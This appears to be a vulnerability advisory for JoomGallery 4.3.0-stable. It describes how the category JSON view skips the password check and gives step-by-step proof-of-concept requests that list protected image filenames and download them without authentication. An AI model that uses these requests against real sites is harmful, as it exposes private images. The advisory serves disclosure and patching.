
Password-Protected Category Bypass via JSON Format in JoomGallery
JoomGallery ≤ 4.3.0-stable — Unauthenticated Attacker Bypasses Password Gate to Download Protected Images
An unauthenticated access control bypass exists in JoomGallery's category JSON view. When a gallery category is protected with a password, the HTML view correctly enforces the password gate — but the JSON view (format=json) skips this check entirely.
A remote attacker with no credentials can retrieve the category's title, description, and the randomized filenames of all protected images, then download those images directly. The password protection feature is bypassed with a single HTTP request.
The bypass is limited to categories whose Joomla ACL access level is set to Public (access=1). Categories restricted to Registered or Special access are still blocked at the ACL layer in JsonView.php:69.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| JoomGallery | 4.3.0-stable | Joomla 5.4.7 + JoomGallery 4.3.0-stable (PHP 8.x / Apache) | 4.4.0 |
Type: Improper Access Control (CWE-284)
Authentication required: None — unauthenticated, single HTTP request
File: site/com_joomgallery/src/View/Category/JsonView.php, lines 76–96
JoomGallery implements password protection for categories via a pw_protected flag. This check is present in HtmlView.php but entirely absent in JsonView.php:
HTMLVIEW.PHP — CORRECT (guard present)
// content is withheld and a password form is rendered
if (!$this->item->pw_protected) {
$this->item->images->items = $model->getImages();
$this->item->children->items = $model->getChildren();
}
JSONVIEW.PHP — VULNERABLE (no guard)
// JsonView.php:76-96 — no pw_protected check; content returned unconditionally
$this->item->parent = $model->getParent();
$this->item->children->items = $model->getChildren(); // always executes
$this->item->images->items = $model->getImages(); // always executes
$this->output($this->item); // serializes full response to JSON including filenames
Joomla's format=json parameter routes the same URL to a separate View class. Each View must independently enforce access checks — the framework does not propagate them automatically. The developer added the pw_protected guard to HtmlView but omitted it from JsonView.
JoomGallery's password protection relies on keeping image filenames secret — files are stored as static assets under /images/joomgallery/originals/ and served directly by Apache without any server-side auth. Filenames are randomized (e.g., secret-image-1_20260803_1951053711.jpg) and only disclosed after passing the password check via the PHP/Joomla layer. The JSON bypass breaks this model by disclosing filenames to unauthenticated requesters, completing the attack chain to full image retrieval.
Lab setup:
pw_protected=true, access=Public)secret-image-1_20260803_1951053711.jpg)GET /index.php/component/joomgallery/category/3
Result: Password form rendered. No category content visible.

GET /index.php/gallery/categories/3-secret-gallery
Result: Direct image access Blocked within Alias path (/3-secret-gallery)

GET /index.php?option=com_joomgallery&view=category&format=json&id=3
Response (HTTP 200, no authentication):
{
"success": true,
"data": {
"title": "Secret Gallery",
"description": "<p>SENSITIVE: Internal photos — restricted access</p>",
"pw_protected": true,
"access": 1,
"images": {
"items": [
{
"title": "Secret Image 1",
"filename": "secret-image-1_20260803_1951053711.jpg",
"cattitle": "Secret Gallery",
"access": "Public"
}
]
}
}
}
pw_protected: true confirms the password is set. Despite this, the full response including the randomized filename is returned to an unauthenticated caller.

Using the filename obtained in Step 3
Result: HTTP 200 — image file returned directly by Apache. No authentication required.

Any gallery category the administrator has protected with a password is fully compromised. The attacker requires only the numeric category ID, which is sequential and trivially enumerable.